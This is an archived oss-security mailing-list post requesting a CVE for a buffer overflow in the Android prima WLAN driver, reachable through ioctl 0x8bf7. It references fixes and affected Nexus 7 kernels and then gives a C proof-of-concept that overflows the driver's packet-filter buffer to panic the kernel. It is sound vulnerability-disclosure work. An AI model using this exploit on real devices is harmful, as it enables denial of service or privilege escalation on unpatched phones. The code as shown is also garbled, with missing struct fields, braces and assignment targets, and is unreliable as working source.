Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sun, 24 Jan 2016 03:51:44 +0800
From: Shawn <>
Cc: Pray3r Z <>
Subject: CVE request for prima wlan driver: Address buffer overflow due to
 invalid length


One exploitable bug has been fixed in prima wlan driver a few months

Upstream fix:

Cyanogenmod's backport fix:

It was lacking a check for valid length of copy a buffer, which can be
crafted by userspace. The application could communicate with wlan
driver via ioctl() with 0x8bf7 to enter into vulnerable code path.

This issue may leads to a local DoS or privilege escalation. Some
android phone/tablet are still using the vulnerable version of prima
driver. We've aware of android-msm-flo-3.4-marshmallow for Nexus 7(
2013) is affected by this isuee:

Plz review the file:


Then we've already sent a patch to backport fix for the branch and
still doesn't get any answer yet:!/#F0


Panic log:


We haven't exmine if this issue can be exploited to gain the root
privileges. But some fancy mitigation like PXN is not support well for
android armv7. Porting PaX UDEREF is an another option.

GNU powered it...
GPL protect it...
God blessing it...


 * Coder: Shawn the R0ck, []
 * Co-worker: Pray3r, []
 * Compile:
 * # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT  -pie 
 * # ./a.out wlan0
 * Boom......shit happens[ as always];-)

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#include <errno.h>

typedef unsigned char v_U8_t;

struct PacketFilterParamsCfg {
	v_U8_t protocolLayer;
	v_U8_t cmpFlag;
	v_U8_t dataOffset;
	v_U8_t dataLength;
	v_U8_t compareData[8];
	v_U8_t dataMask[8];

typedef struct {
	v_U8_t filterAction;
	v_U8_t filterId;
	v_U8_t numParams;
	struct PacketFilterParamsCfg
} tPacketFilterCfg, *tpPacketFilterCfg;

int main(int argc, const char *argv[])
	if (argc != 2) {
		fprintf(stderr, "Bad usage\n");
		fprintf(stderr, "Usage: %s ifname\n", argv[0]);
		return -1;

	struct iwreq req;
	strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
	int fd, status, i = 0;
	fd = socket(AF_INET, SOCK_DGRAM, 0);
	tPacketFilterCfg p_req;

	/* crafting a data structure to triggering the code path */ =
	    malloc(sizeof(v_U8_t) * 3 +
		   sizeof(struct PacketFilterParamsCfg) * 5);
	p_req.filterAction = 1;
	p_req.filterId = 0;
	p_req.numParams = 3;
	for (; i < 5; i++) {
		p_req.paramsData[i].dataLength = 241;
		memset(&p_req.paramsData[i].compareData, 0x41, 16);

	memcpy(, &p_req,
	       sizeof(v_U8_t) * 3 +
	       sizeof(struct PacketFilterParamsCfg) * 5);

	if (ioctl(fd, 0x8bf7, &req) == -1) {
		fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
			argv[1], strerror(errno));
	} else {
		printf("You shouldn't see this msg...\n");


Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ